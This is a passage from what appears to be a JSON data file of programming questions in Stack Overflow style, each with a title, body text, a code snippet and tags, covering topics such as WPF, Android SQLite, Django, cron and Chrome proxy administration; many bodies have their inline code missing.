items during the trickle-feeding is causing some sort of race condition, but it's
all on the UI thread and I still can't understand why the order would be correct
on the ItemsControl but not on the Panel.\nHow can I synchronise the order of the
InternalChildren on the Panel with the bound ItemsControl so that the Visuals are
displayed in the correct order?\nUpdate\nAs requested, here's some code. There's a
lot of it in the full solution so I'll try to only post the relevant bits here. As
such this code won't run, but it should give you an idea. I've removed all the
code, and
a lot of the additional code I don't think is important for solving the problem at
hand.\nI have a which extends . Items added to the collection are held in a
seperate \"HeldItems\" collection until they are ready to be moved into the
inherited \"Items\" collection by way of a \"Kick\" method (on ).\n\nI also have a
which is the prototype Panel I'm building. This Panel should lay all the items
vertically down it's surface. When an item is added, a Phase1 animation begins.
When this is complete an event is raised so that the next item can be added.\n\nThe
abstract on which is based handles the raising of the Phase 1 animation event.
For some reason, OnVisualChildrenChanged doesn't fire during the Kick() method the
unless I explicitly raise the OnCollectionChanged event myself (maybe that's a red
flag?).\n\nThe knows how to handle and (which and are based on). If it finds
instances of these at runtime, it coordinates kicking items from the into the ,
waits for the Phase1 animation to complete, then kicks the next item etc.\nIt
usually prevents new items from being kicked before the end of a Phase1 animation,
however I've disabled that part to speed up testing.\n\n}\nThe file puts together
a standard template.\n\nMy test view is fairly simple.\n\nMy ViewModel defines the
initial state.\n\nAnd the code behind is for me to interact with it.\n\nAs it runs,
I click the \"Add\" button several times, then the \"Kick\" button several times,
and so on. As I said before, the collections are being trickle-fed the items in
the correct order. However during the , the InternalChildren collection
occasionally reports newly added items as being in the middle of the collection
instead of the end. Given that items are only added one at a time normally, I
can't understand why this is the case.\nWhy is InternalChildren on the Panel
showing a different order to the bound ?\n", "Trace.Write", "wpf panel itemscontrol
itemssource"], "1522580": ["How to force Chrome to use proxy settings?", "We're
about to deploy Google Chrome to our users. The thing is, we use a proxy server to
filter HTTP connections to force users to just use a handful of websites on
workplace computers.\nSo far I've been able to set Chrome to use either a PAC or
configure the Windows LAN settings to use the proxy. The thing is, how do I prevent
users from executing Chrome with command line arguments like , which effectively
shut down the proxy settings?\n", "--no-proxy-server=", "windows google-chrome
administration"], "4166108": ["Help a fellow blind student get setup for
programming classes", "I'm a computer science student at a large university. The
department has had it's first blind student enroll in the program. The department
is not sure how best to support this student. The first struggle is getting a
development environment setup on his laptop. He has a Mac with a screen reader
program. I'm looking for the best programs for this student. He is currently
enrolled in a web class (html/css) and a C# class and needs a text editor for both.
He also needs an ftp program that will work well with the screen reader.\nMe and
another student has volunteered to help him as much as possible. I've considered
console based text editors like VIM and using the command line utilities to upload
files to the server.\nI'm glad to see there are individuals who have had great
success with programming that share his disability. I'm here to ask for advice in
order to help this student.\nThis is the first time I've worked with a blind
student.\nAny help would be appreciated.\n", "", "osx ide blind"], "4150616":
["Print dummy RDLC report", "I am in the process of creating a number of reports
and am currently designing the reports' layout. Before I can generate these reports
however, I still need to develop some code. However I need to get a proper glimpse
of how the report would look when printed for example. At this stage the data it
self does not matter, I'm only interested in reviewing the design and printing it.
Is there a way I can print an RDLC file from Visual Studio??\nThanks\n", "",
"visual-studio-2010 printing report rdlc"], "5145698": ["No HTML email after
installing Enigmail in Thunderbird 3.1.10", "I am running Thunderbird 3.1.10 on Mac
OS X 10.6.7, and have just installed GnuPG and Enigmail extensions per the official
website's instructions.\nUnfortunately, all the emails I receive now are all in
plain text, including the HTML emails. What setting can I change to make HTML
emails I receive display correctly again?\nThanks.\n", "", "mac thunderbird html
gnupg enigmail"], "3523695": ["Can I use a the value of a variable as the name of
property in c#?", "How do all!\nI want to be able to access a value in a class
using the variable passed to a procedure.\ne.g.
_results.projection[2].Current.FundDC to become something like\
n_results.projection[2].termId.varName\nwhere termId can be Current, Future or
Percent\nand varName can be a large list :)\nAny suggestions?\nAnswers on a
postcard please :)\n", "", "c# validation variables"], "4249628": ["SOAP requests
for invoking AWS EC2", "Please give a example SOAP request for invoking AWS EC2...\
n", "", "java amazon-ec2 amazon-web-services"], "5072826": ["How do I decode UTF-
8?", "I have a UTF-8-encoded string.\nThis string is first saved to a file and then
sent via Apache to a process written in C++, which receives it using Curl.\nHow can
I decode the string in the C++ process?\n", "", "c++ utf-8 decode"], "5095916":
["Python asynchronous processing in existing loop", "I'm creating a module for
OpenERP in which I have to launch an ongoing process.\nOpenERP runs in a continuous
loop. My process has to be launched when I click on a button, and it has to keep
running without holding up OpenERP's execution.\nTo simplify it, I have this code:\
n\nWhen executed, is printed once and then an endless series of is printed until
is pressed. Then is obtained and so on, as shown below:\n\nI would like the passes
to keep increasing in parallel with the 's.\nHow do I do that?\n",
"#!/usr/bin/python\nimport multiprocessing\nimport time\n\ndef f(name):\n while
True:\n try:\n print 'hello', name\n time.sleep(1)\n
except KeyboardInterrupt:\n return\n\nif __name__ == \"__main__\":\n
count = 0\n while True:\n count += 1\n print \"Pass %d\" % count\n
pool = multiprocessing.Pool(1)\n result = pool.apply_async(f, args=['bob'])\
n try:\n result.get()\n except KeyboardInterrupt:\n
#pass\n print 'Interrupted'\n time.sleep(1)\n", "asynchronous
python-2.6 openerp"], "2143877": ["Android - getType(int) is undefined for the type
Cursor", "I am new on mobile development, so I decided to use Phonegap to develop
my application. In my app I am using a SQLite plugin, because WebSQL is not
attending my necessities. When I try to put one of the files required to use the
plugin in my project, Eclipse return me errors in the following function:\n\nIn the
line 20 (when we have \"switch(cur.getType (i))\"), Eclipse returns the following
error:\n\nWhen I saw this, I tried googling it, and on the Android's documentation
says that getType is a Cursor's method.\nHere is what this file imports:\n\nAs
don't know Java, I could not figure this out and I haven't found anything on my
search, but I may be missing something. I hope someone can help me, thanks\n",
"public void processResults(Cursor cur, String query_id, String tx_id) {\n\n
String result = \"[]\";\n // If query result has rows\n\n if
(cur.moveToFirst()) {\n JSONArray fullresult = new JSONArray();\n
String key = \"\";\n int colCount = cur.getColumnCount();\n\n //
Build up JSON result object for each row\n do {\n JSONObject row
= new JSONObject();\n try {\n for (int i = 0; i <
colCount; ++i) {\n key = cur.getColumnName(i);\n
// for old Android SDK remove lines from HERE:\n
if(android.os.Build.VERSION.SDK_INT >= 11)\n {\n
switch(cur.getType (i))\n {\n
case Cursor.FIELD_TYPE_NULL:\n row.put(key, null);\n
break;\n case Cursor.FIELD_TYPE_INTEGER:\n
row.put(key, cur.getInt(i));\n break;\n
case Cursor.FIELD_TYPE_FLOAT:\n row.put(key,
cur.getFloat(i));\n break;\n
case Cursor.FIELD_TYPE_STRING:\n row.put(key,
cur.getString(i));\n break;\n
case Cursor.FIELD_TYPE_BLOB:\n row.put(key,
cur.getBlob(i));\n break;\
n }\n }\n else // to
HERE.\n {\n row.put(key,
cur.getString(i));\n }\n }\n
fullresult.put(row);\n\n } catch (JSONException e) {\n
e.printStackTrace();\n }\n\n } while (cur.moveToNext());\n\n
result = fullresult.toString();\n }\n if(query_id.length() > 0)\n
this.sendJavascript(\" SQLitePluginTransaction.queryCompleteCallback('\" + tx_id
+ \"','\" + query_id + \"', \" + result + \");\");\n\n}\n", "java android phonegap
cursor phonegap-plugins"], "5187922": ["Architect of interior WebService (vs EJB
App) to be consumed only by Java clients", "I've two locations, Location in USA
and Location in Egypt.\nI am deploying
a Web App on location that need to get Data from a DB on location .\nI need to
create some app to be deployed on to provide the web app on with the data.\n(I
know Web App on could connect to DB on directly but some limitation prevent me
from that)\nFor the App on , Should I create:\n\nJSON WebService?\nWebService
return serialized objects to Web app to be deserialized and used?\nAn EJB app that
can be accessed remotely via JNDI from the webapp?\n\nI Know JSON is a lightwieght,
but is it faster or the serialization (option 2)? or should I let the app server do
that for me (option 3) ?\nThanks.\n", "A", "web-services architecture soa"],
"4433798": ["SQLite error code = 1", "I'm trying to insert some data into my SQLite
database. But I keeo receiving an error code 1 saying that my column does not
exist. Can someone help me please, Below is my code:\n\nBelow is my database code:\
n\n", "08-17 13:12:46.473: I/Database(13328): sqlite returned: error code = 1, msg
= table login has no column named uid\n08-17 13:12:46.503: E/Database(13328): Error
inserting uid=502e7b90657ab1.86949026 created_at=2012-08-17 12:12:48 email=epaas
name=hwheuu\n08-17 13:12:46.503: E/Database(13328):
android.database.sqlite.SQLiteException: table login has no column named uid: ,
while compiling: INSERT INTO login(uid, created_at, email, name)
VALUES(?, ?, ?, ?);\n08-17 13:12:46.503: E/Database(13328): at
android.database.sqlite.SQLiteCompiledSql.native_compile(Native Method)\n08-17
13:12:46.503: E/Database(13328): at
android.database.sqlite.SQLiteCompiledSql.compile(SQLiteCompiledSql.java:92)\n08-17
13:12:46.503: E/Database(13328): at
android.database.sqlite.SQLiteCompiledSql.<init>(SQLiteCompiledSql.java:65)\n08-17
13:12:46.503: E/Database(13328): at
android.database.sqlite.SQLiteProgram.<init>(SQLiteProgram.java:83)\n08-17
13:12:46.503: E/Database(13328): at
android.database.sqlite.SQLiteStatement.<init>(SQLiteStatement.java:41)\n08-17
13:12:46.503: E/Database(13328): at
android.database.sqlite.SQLiteDatabase.compileStatement(SQLiteDatabase.java:1231)\
n08-17 13:12:46.503: E/Database(13328): at
android.database.sqlite.SQLiteDatabase.insertWithOnConflict(SQLiteDatabase.java:165
8)\n08-17 13:12:46.503: E/Database(13328): at
android.database.sqlite.SQLiteDatabase.insert(SQLiteDatabase.java:1515)\n08-17
13:12:46.503: E/Database(13328): at
library.DatabaseHandler.addUser(DatabaseHandler.java:69)\n08-17 13:12:46.503:
E/Database(13328): at
com.thryfting.www.RegisterActivity$register.doInBackground(RegisterActivity.java:13
5)\n08-17 13:12:46.503: E/Database(13328): at
com.thryfting.www.RegisterActivity$register.doInBackground(RegisterActivity.java:1)
\n08-17 13:12:46.503: E/Database(13328): at
android.os.AsyncTask$2.call(AsyncTask.java:185)\n08-17 13:12:46.503:
E/Database(13328): at
java.util.concurrent.FutureTask$Sync.innerRun(FutureTask.java:306)\n08-17
13:12:46.503: E/Database(13328): at
java.util.concurrent.FutureTask.run(FutureTask.java:138)\n08-17 13:12:46.503:
E/Database(13328): at
java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1088)\
n08-17 13:12:46.503: E/Database(13328): at
java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:581)\
n08-17 13:12:46.503: E/Database(13328): at java.lang.Thread.run(Thread.java:1027)\
n", "java android database sqlite"], "3922838": ["Does the Java Memory Model (JSR-
133) imply that entering a monitor flushes the CPU data cache(s)?", "There is
something that bugs me with the Java memory model (if i even understand everything
correctly). If there are two threads A and B, there are no guarantees that B will
ever see a value written by A, unless both A and B synchronize on the same
monitor.\nFor any system architecture that guarantees cache coherency between
threads, there is no problem. But if the architecture does not support cache
coherency in hardware, this essentially means that whenever a thread enters a
monitor, all memory changes made before must be commited to main memory, and the
cache must be invalidated. And it needs to be the entire data cache, not just a few
lines, since the monitor has no information which variables in memory it guards.\
nBut that would surely impact performance of any application that needs to
synchronize frequently (especially things like job queues with short running jobs).
So can Java work reasonably well on architectures without hardware cache-coherency?
If not, why doesn't the memory model make stronger guarantees about visibility?
Wouldn't it be more efficient if the language would require information what is
guarded by a monitor?\nAs i see it the memory model gives us the worst of both
worlds, the absolute need to synchronize, even if cache coherency is guaranteed in
hardware, and on the other hand bad performance on incoherent architectures (full
cache flushes). So shouldn't it be more strict (require information what is guarded
by a monitor) or more lose and restrict potential platforms to cache-coherent
architectures?\nAs it is now, it doesn't make too much sense to me. Can somebody
clear up why this specific memory model was choosen?\n\nEDIT: My use of strict and
lose was a bad choice in retrospect. I used \"strict\" for the case where less
guarantees are made and \"lose\" for the opposite. To avoid confusion, its probably
better to speak in terms of stronger or weaker guarantees.\n", "", "java
multithreading synchronization memory-model cpu-cache"], "5004381": ["Visual Studio
2010 tutorial *series* on Youtube or Dailymotion?", "This question probably won't
go well, but here goes...\nNow that the new xbox dashboard supports Youtube and
Dailymotion, I'd really like to find some great tutorials on Visual Studio
available on either of those services. I have looked and looked without much
success. I found one series that was decent, but the guy didn't speak English very
well.\nI wouldn't be opposed at all to paying for learnvisualstudio.net (I did last
year) or something, but the real goal here is to be able to watch on my TV via my
Xbox.\nI'm also aware that \"Visual studio tutorials\" seem pretty vague... What
I'm looking for are tutorials about any of the following things:\n\nVisual Studio
2010 Environment\nManaging tasks/bugs/projects with Team Foundation Server\nASP.net
basic technologies\nVarious VB skills\nC# for beginners\nWCF\nScrum\nAgile
Development\n\nAs for the word Series in the title, I'm really wanting something a
bit more long term than just a 5 or 10 minute video.\nThere is obviously no
set \"answer\" for this question, I'm just looking for suggestions.\nThanks.\n",
"", "vb.net visual-studio-2010 tfs video-tutorials"], "3960681": ["find using
wholename", "Why does this invocation of find:\n\nTake a lot longer than\n\nIs it
because the first invocation will traverse the entire tree, and for each entry
(regardless of where it is in the directory tree), it will do a patternmatch with
wholename, whereas the second alternative traverses only the subtree matching the
first parameter to find?\n", "find . -wholename \"./path/somewhere/*.py\"\n", "bash
find"], "2718783": ["Linq, how to put a indexes on Linq Query", "I want to render a
dates from list to the ASP Calendar. \nMy list look like this:\n\nI made Linq
Query, but it's doing quite long, about 3-4 secunds. How to put indexes on it?\n\
n", "Kontrakt | Pracownik | Dzien | ID | Procenty\
n--------------------------------------------\n", "development"], "5609547": ["How
do I add a placeholder on a CharField in Django?", "Take this very simple form for
example.\n\nThis gets rendered in the template:\n\nHowever, I want to ad the
'placeholder' attribute to this field with a value of \"Search\" so that the HTML
would look something like:\n\nPreferably I would like to pass the placeholder value
in to CharField in the form class through a dictionary or something like:\n\nWhat
would be the best way to accomplish this?\n", "class SearchForm(Form):\n q =
forms.CharField(label='search')\n", "django django-forms"], "2733091": ["How to
implement A simple AJAX call using asp.net page?", "I'm trying to implement this
specific example using asp.net page instead of asp page.\nIf you look at the
example you can see that there are 2 parts for the page:\n\nMail asp page. This
page have JS code that calls other asp file for AJAX use.\nthe other asp page which
holds the JS code.\n\nThe responseText of the call is the client side code, so,
when I write something like this:\n\nthe page ignores my server side code and
returns this:\n\nwhat should I need to do to make him process my JS code and return
its output?\nThanks in advance,\nOz Radiano.\n",
"<html><head><title>test</title><script language=\"javascript\" runat=\"server\"\
ntype=\"text/javascript\">function test(){Response.Write(\"This is a
Test!\");\n</script><body onload=\"test()\"></body></html>\n", "asp.net ajax"],
"113821": ["stdout and stderr of script doesn't get redirected when executed by
cron", "./script &>> log.txt\nI get a nice logfile, but if I have the same command
executed by cron, lets say the crontab looks like this:\n\nthe log.txt will just be
empty, I tried \" and ' and ` and no ticks to enclose the command, any idea why the
streams won't get written into the file?\n", "* * * * * '/home/user/script &>>
/home/user/log.txt'\n", "bash shell cron crontab stdout"], "5484371": ["WPF - Weird
scrollbars behavior in TabItem", "I have following code:\n\nWhat is weird is the
behavior of scrollbars - if I scroll down on the first tab and switch to second
tab, the scrollbar is down too - position of the scrollbars is synchronized when
the tab items have the same data templates. Do you know about any solution of this
issue?\nIn addition, when I alter the code and make two data templates (one for
each tab), the scrollbars are not preserving their position at all - that means if
I scroll down on tab1, switch to tab2
and to tab1 again, the scrollbar is on default position. Any solution of this
one?\n", "<Window
xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\"\n
xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\"\n
Title=\"MainWindow\" Height=\"145\" Width=\"156\">\n <Window.Resources>\n
<DataTemplate x:Key=\"tabTemplate\">\n <ScrollViewer>\n
<StackPanel Orientation=\"Vertical\">\n
<TextBlock>x</TextBlock>\n <TextBlock>x</TextBlock>\n
<TextBlock>x</TextBlock>\n <TextBlock>x</TextBlock>\n
<TextBlock>x</TextBlock>\n <TextBlock>x</TextBlock>\n
<TextBlock>x</TextBlock>\n </StackPanel>\n
</ScrollViewer>\n </DataTemplate>\n </Window.Resources>\n <Grid>\n
<TabControl>\n <TabItem Header=\"Tab1\"
ContentTemplate=\"{StaticResource ResourceKey=tabTemplate}\"/>\n
<TabItem Header=\"Tab2\" ContentTemplate=\"{StaticResource
ResourceKey=tabTemplate}\"/>\n </TabControl>\n </Grid>\n</Window>\n",
"wpf xaml datatemplate tabcontrol scrollviewer"], "73469": ["GUI toolkit with CSS
support", "Are there any GUI toolkits for standalone desktop applications (the best
case when it is cross-platform) which supports CSS component styling?\nI know Adobe
Flex but this is the worst case as it is not so good for standalone desktop
applications.\n", "", "css gui sdk cross-platform"], "5606631": ["Referencing
Fragments inside ViewPager", "I have a problem with referencing my Fragments inside
a ViewPager. I would like to do it because from my activity I'd like to refresh a
fragment at a specified position (e.g. currently displayed fragment).\nCurrently I
have something like this:\n\nThe problem is that the gets called more often than ,
so I'm left with null references. If I don't use to clear references to destroyed
fragments... well I reference fragments that don't exist.\nIs there any nice way to
reference fragments that are created with ? Or what should I do to refresh a
fragment inside a ViewPager from my activity (from options menu to be precise)?\n",
"public static class MyPagerAdapter extends FragmentPagerAdapter {\n\n private
static final String TAG = \"MyPagerAdapter\";\n private static HashMap<Integer,
EventListFragment> mPageReferenceMap = new HashMap<Integer, EventListFragment>();\
n\n public MyPagerAdapter(FragmentManager fm) {\n super(fm);\n }\n\n
@Override\n public int getCount() {\n return NUM_ITEMS;\n }\n\n
@Override\n public Fragment getItem(int position) {\n
Log.i(TAG, \"getItem: \"+position);\n int dateOffset = position-1;\n
EventListFragment mFragment = EventListFragment.newInstance(dateOffset);\n
mPageReferenceMap.put(position, mFragment);\n return mFragment;\n }\n\n
@Override\n public void destroyItem(ViewGroup container, int position, Object
object) {\n Log.i(TAG, \"destroyItem: \"+position);\n
mPageReferenceMap.remove(position);\n super.destroyItem(container, position,
object);\n }\n\n\n public EventListFragment getFragment(int key) {\n
Log.i(TAG, \"Size of pager references: \"+mPageReferenceMap.size());\n
return mPageReferenceMap.get(key);\n }\n}\n", "android android-fragments"],
"5602575": ["The support of a module is closed?", "It's well known that under
some \"weak\" hypothesis, such as finitely generation, the support of an A-module
is closed in Spec(A). It is true also in the most general case? \n", "",
"commutative-algebra"], "2369659": ["Facebook Opengraph Console error", "Hello
people i am trying new action to post picture on facebook and during posting i am
facing a error which i cant able to make it work properly \nThe action you're
trying to publish is invalid because it does not specify any reference objects. At
least one of the following properties must be specified:\n", "", "facebook-graph-
api graph action open"], "5876022": ["How do I avoid a zombies error with xcode 4.5
w/o ARC?", "When I run my application, which does not use ARC, in the xcode 4.5.1
(LLDB) debugger with zombies enabled, I get this error twice (2) when calling -
[super dealloc] (-[NSObject dealloc]):\n* -[V2APIClient class]: message sent to
deallocated instance 0x9d865c0\n* -[V2APIClient class]: message sent to deallocated
instance 0x9d865c0\nWhen I run the same application in the xcode 4.4.1 (LLDB)
debugger, I get the error message once (1).\nWhen I run a slightly earlier version
of the same application in XCode 4.3.2, I don't get the error message at all (0). I
will retry this with the same/newest code.\nFYI - This appears to be exactly the
same problem as this other post, which has not yet been answered:\n-[Foo class]:
message sent to deallocated instance on [super dealloc])\nI attempted to avoid
reposting the same question twice, but I was advised to proceed:\nAvoiding asking a
question that's already been asked\nAlso, I also just asked the equivalent question
in the Apple Developer Forums:\nhttps://devforums.apple.com/thread/171282\nFinally,
here is the essence of my class:\n\nPlease help me resolve this problem.\nI don't
believe I am violating any memory management rules, but this error seems to imply
otherwise. I'm hesitant to check in any new code until I can resolve this problem.\
nThanks,\nChuck\np.s. For the record, here is the calling code:\n\n", "@interface
ASIHTTPRequestHandler : NSObject {\n id _error;\n}\n@property (nonatomic,retain)
id error;\n@end\n\n@implementation ASIHTTPRequestHandler\n@synthesize error =
_error;\n-(id)init\n{\n self = [super init];\n if (self)\n {\n
self.error = nil;\n }\n return self;\n }\n\n -(void)dealloc\n {\n
self.error = nil;\n [super dealloc];// this is the line that appears to cause
the problems\n }\n @end\n", "objective-c ios memory-management automatic-ref-
counting"], "372570": ["Confused with android.hardware.touchscreen", "I'm going to
support Android devices not equipped with touch screens putting in manifest\n\nBut
still I do have some doubts. E.g. essential part of my application UI is built upon
context menus, which appears on long tap of and widgets.\nI just wonder if device
is lacking touch screen how operates context menu functionality? Can someone tell
me?\n", "<uses-feature android:name=\"android.hardware.touchscreen\"
android:required=\"false\"/>\n", "android contextmenu touchscreen"], "2373464":
["How to display a message before login?", "I need to display a message before any
login on a Linux box, either locally and for remote login via SSH. \nHow can I
achieve this? \nEdit:\nThanks for your answers. I had to pick one accepted answer,
but both are correct and complement each other. \n\"issue\" and \"Banner\" are the
two concepts I need to use to provide a message for every user before they log into
the system. \n", "", "linux debian"], "2136110": ["execcomand fault in opera",
"recently i had to use execCommand() in Opera. The problem is this, when i try to
change background color (or text color) with this function, everything works as
expected, but when i mix more colors than one there is unexpected behaviour. I have
made a test page to understand what i mean:\n\n(See in action on jsfiddle)\nSo, try
mix up the two colors with latest version of Opera and you'll see what i mean.\n",
"<html><head>\n<script type=\"text/javascript\">\nfunction changecolor(color) {\n
document.execCommand ('ForeColor', false, color);\n
document.getElementById('source').innerHTML =
document.getElementById('content').innerHTML;\n} \n</script>\n</head>\n\
n<body>\n <button onclick=\"changecolor('red');\">Red</button>\n <button
onclick=\"changecolor('blue');\">Blue</button>\n <div contenteditable=\"true\"
id=\"content\">aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</div>\n\n <textarea id=\"source\"
style=\"margin-top:100px;width:800px;height:200px;\"></textarea>\n</body>\n",
"javascript wysiwyg opera execcommand"], "5923162": ["Any DI libraries that take a
similar approach to Jersey's dependecy injection?", "I have been working with
Jersey for a couple weeks now, and I have been impressed with how it implements
dependency injection and how it can be extended to let developers create their own
providers. \nThis method has been so useful, I was thinking of how I might
integrate this approach into my own code. I was wondering if anyone new if there
are any DI libraries/containers out there that take a similar approach to the one
used in Jersey?\n", "", "dependency-injection jersey"], "894516": ["Add
eventlistener to a window in Titanium Mobile commonJS", "I have a surely somehow
stupid problem with adding an eventlistener to a window I create in a commonJS
module in Titanium Mobile.\nConsider i.e. the following code:\n\nThe window is
nicely generated using\n\n is just a simple helper method to create some standard
window in my app.\nBut the event listener is never called, I try but the event
doesn't reach the listener.\nOnly when Using and adding a it's working.\nI think
maybe that problem is I am not adding the event listener to the of the window? But
how to fix this? I don't want to add the manually when instantiating the window
somewhere in the app. Can't I do this in the commonJS module?\n", "var
SegmentListWindow = function(){\n var window = S.ui.createWindow(\"Testwindow\");\
n window.addEventListener(\"app:customListener\", function(){ doSomething();});\n
return window;\n}\nexports.SegmentListWindow = SegmentListWindow;\n", "events
mobile titanium listener commonjs"], "3523609": ["Using Microstrategy on Highly
Normalized SQL Server database", "I am interested in comments and insights relating
to using Microstrategy to report against a complex snowflake SQL Server database
comprising of several transactional, normalized (3NF) tables. \nSpecifically, what
is the best approach or the challenges on reporting in such an environment?
Currently, there are some complex views that serve as analytical fact tables using
complex SQL joins between the several transactional tables. \nThe transactional
tables also have their own dimensions, and so on. The views seem to work fine in
SSRS. However, I have read that Microstrategy is not ideal for reporting against
such a complex database (not due to performance of the tool, but more so because of
the complexity of the SQL in building these metrics in Microstrategy). \nWhat
would be the best approach on reporting in such an environment? Would building an
SSAS cube on the current data warehouse be a good idea? Should reporting be done on
the database, or should a new database or mart be created, specifically to be used
by Microstrategy, with only the relevant views for basic reporting? \nAny advice
or opinions are appreciated.\n", "", "database-design ssas olap oltp
microstrategy"], "5591631": ["Any caveats in porting GNU Pth code for Pthreads?",
"I have code written using GNU Pth ( http://www.gnu.org/software/pth/ ) and I want
to move to Pthreads because I want it to be cross-platform (Unix, Mac, Windows).\
nAre there and caveats I should watch out for while going about switching from Pth
to Pthreads, or is it mostly just a matter of realigning arguments and variable
types?\n", "", "c winapi pthreads gnu"], "4392711": ["My linq-query doesn't work
when adding the xmlns-attribute to the root-element in my XML-document", "I'm
trying to get more into LINQ-to-XML, so I've made myself a neat little example XML-
document to try things out on. In addition, I tried (and successfully) made my own
XML-schema for that file, just to test things out. The XML-document is pretty
straightforward, and pretty much looks like this:\n\nNow, querying this document
works just fine if i remove the -attribute from the root element. When i add it
back in, the query returns null and nothing. I've tried to find out by myself, but
I've yet to find a sollution that fixes my problem.\nHere's the C#-bit:\n\nAnyone
sees what's wrong? And why should LINQ really care that much about the namespace?
Can't it just query my file and don't care about it?\nThanks in advance! :-)\n",
"<cars xmlns=\"/carsSchema.xsd\">\n <car age=\"5\">\n <carId>1</carId>\n
<brand>BMW</brand>\n <model>320i</model>\n <color
paintType=\"metallic\">Red</color>\n </car>\n\n <car age=\"2\">\n
<carId>2</carId>\n <brand>VW</brand>\n <model>Golf</model>\n <color
paintType=\"matt\">White</color>\n </car>\n[...]\n</cars>\n", "c# xml linq
namespaces"], "5901204": ["How do I implement a Rails push notification service
consumer over XML/HTTP?", "I'm trying to write an XML over HTTP push notification
consumer that accepts the push notifications and parses the XML and saves the data
in the database. I've looked at the Nokogiri gem which is a neat XML parser. What
fails me is that I plan to only accept the notifications when a user on my app
subscribes to receive their activity feed.\nSo, I'm expecting the notification in
this format \n\nI am expected to respond by sending an XML with a status code back
to the notification server. I have looked at this example and this\nbut both seem
not to address my needs. How would I go about this, especially how to keep an open
pipe for incoming notifications. And is there such a rubygem that is tailored for
this?\n", "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n <Activities xmlns=\"\">\n
<RecordSet>\n <Record>\n <ACTIVITY_DATE>2011-05-10</ACTIVITY_DATE>\n
<ACTIVITY_TYPE>FOO</ACTIVITY_TYPE>\n <ACCOUNT_ID>0123456789</ACCOUNT_ID>\n
<SENDER_FIRST_NAME>John</SENDER_FIRST_NAME>\n
<SENDER_MIDDLE_NAME>S.</SENDER_MIDDLE_NAME>\n
<SENDER_LAST_NAME>Karanja</SENDER_LAST_NAME>\n </Record>\n ...\n
</RecordSet>\n</Activities>", "ruby-on-rails nokogiri push-notification xml-parsing
producer-consumer"], "4921818": ["Simplest way to get MediaWiki to require HTTPS on
all pages?", "I need a MediaWiki installation to require the use of https (and
reject normal http). I've spent 2 hours looking- setting $wgServer doesn't work and
closing port 80 in httpd.conf doesn't work either.\nMy wiki installation is run on
an Apache server.\n", "", "apache https mediawiki"], "5185660": ["Why Do Some USB
Cables Have Two USB Connectors at the End?", "I've recently bought an external hard
drive enclosure and it had arrived with an USB cable, with one USB connector on one
side and two on the other. Why do some USB cables have two connectors while others
do not?\n", "", "hard-drive external-hard-drive usb-storage usb-2"], "675592":
["What is the logic behind Fourier division algorithm?", "from Wikipedia: fourier
division.\nHere is a screenshot of the same:\n\n(view in full-resolution)\nWhat is
the logic behind this algorithm? \nI know it can be used to divide very large
numbers, but how exactly does it work?\n", "", "algorithm math division largenumber
fft"], "70363": ["Have mutt check a directory for new mail brought by fetchmail",
"Is there a way to have mutt check a directory for new emails brought in my
fetchmail rather than then my gmail imap? Having mutt check on demand is slow,
basically I just reload the imap folder which contains a lot of mail. \nIs this the
solution I'm even looking for? Can someone point me to a tutorial or instruct me on
how to do this?\n", "", "imap mutt fetchmail"], "5562375": ["send output to pdf
php", "how can i send an output on the screen to a pdf? i am generating this
report, which outputs html on the screen. i want the user to click a button, and
save whats on the screen as a pdf file. i am running php 5.2 and i will like to
know what kind of applications/software do i need to install to be able to use php
pdf library?\nmany thanks.\n", "", "php pdf-generation"], "3752329": ["Run JavaFX
On Windows Mobile", "I've a Samsung Omnia i900 that run Windows Mobile OS...
beleive it or not but nowhere on the Internet I can find information on running
JavaFX application on it. please advise.\n", "", "javafx"], "1769801": ["Sphinx
sql_attr_multi (MVA) won't work", "I have a single index with a number of sources.
All of the sources extend this base\nsource:\n\nAnd here's an example of a source
that extends that:\n\nThis all works fine. site_id is specified as sql_attr_multi
because some sources can have\nmore than one (that is, the content belongs to more
than one site).\nMy issue arises when I try to add a sql_attr_multi group_id field.
Like so:\n\nIndexing works fine, but searchd throws \"query error: no such filter
attribute\n'site_id'\". (Notice it's saying the site_id attribute, not the group_id
attribute.) I've\ntried this in both 0.9.9 and 2.0.1-beta. Can a source not have
more than one\nsql_attr_multi? Am I putting the sql_attr_multi for group_id in the
wrong place? I\nfigured it has to go in each source that extends base because the
query is different for\neach source. I've only ever used sql_attr_multi from field,
so I'm probably just missing\nsomething.\nAny help is appreciated! Thanks!\nEDIT:
Here's my PHP code to do the search:\n\nThis all works before I try to add the
sql_attr_multi for group_id.\nSOLUTION: Ah, I figured it out. The issue revolves
around the attributes being declared in the base source, and the \"child\" sources
(i.e., posts) attempting to declare an additional attribute (sql_attr_multi for
group_id). When I moved all of the attribute declarations into the same source,
everything worked as expected.\n", "source base {\n type = mysql\n sql_host =
...\n ...\n sql_attr_uint = module_id\n sql_attr_uint = id\n
sql_attr_multi = uint site_id from field\n sql_attr_bool = is_published\n
sql_attr_timestamp = created_at\n sql_attr_timestamp = updated_at\n}\n",
"database sphinx"], "3938163": ["get_terms on attachment taxonomy not returning
first term", "I made a custom taxonomy for attachments in Wordpress. When I call
get_terms, it returns all terms except the first one. Is this a bug? Why wouldn't
it grab all terms? \n\n", "<?php $terms = get_terms('media-category'); ?>\n<ul>\
n<?php foreach($terms as $term): ?> \n <li><a href=\"\"><?php echo $term->name;
?></a></li>\n<?php endforeach; ?>\n</ul>\n", "wordpress attachment taxonomy"],
"4230369": ["XML Bulk Load issue into SQL Server", "I am trying to use XML Bulk
Load (sql server 2008). I am almost there, but I think my schema file is wrong.
The error I am getting is this:\n\nHere is what I have:\nSQL Table Structure:\n\
nSchema File:\n\nXML File:\n\nAnd the VBScript I am using:\n\n", "<?xml
version=\"1.0\" ?>\n<Schema xmlns=\"urn:schemas-microsoft-com:xml-data\" \n
xmlns:dt=\"urn:schemas-microsoft-com:xml:datatypes\" \n
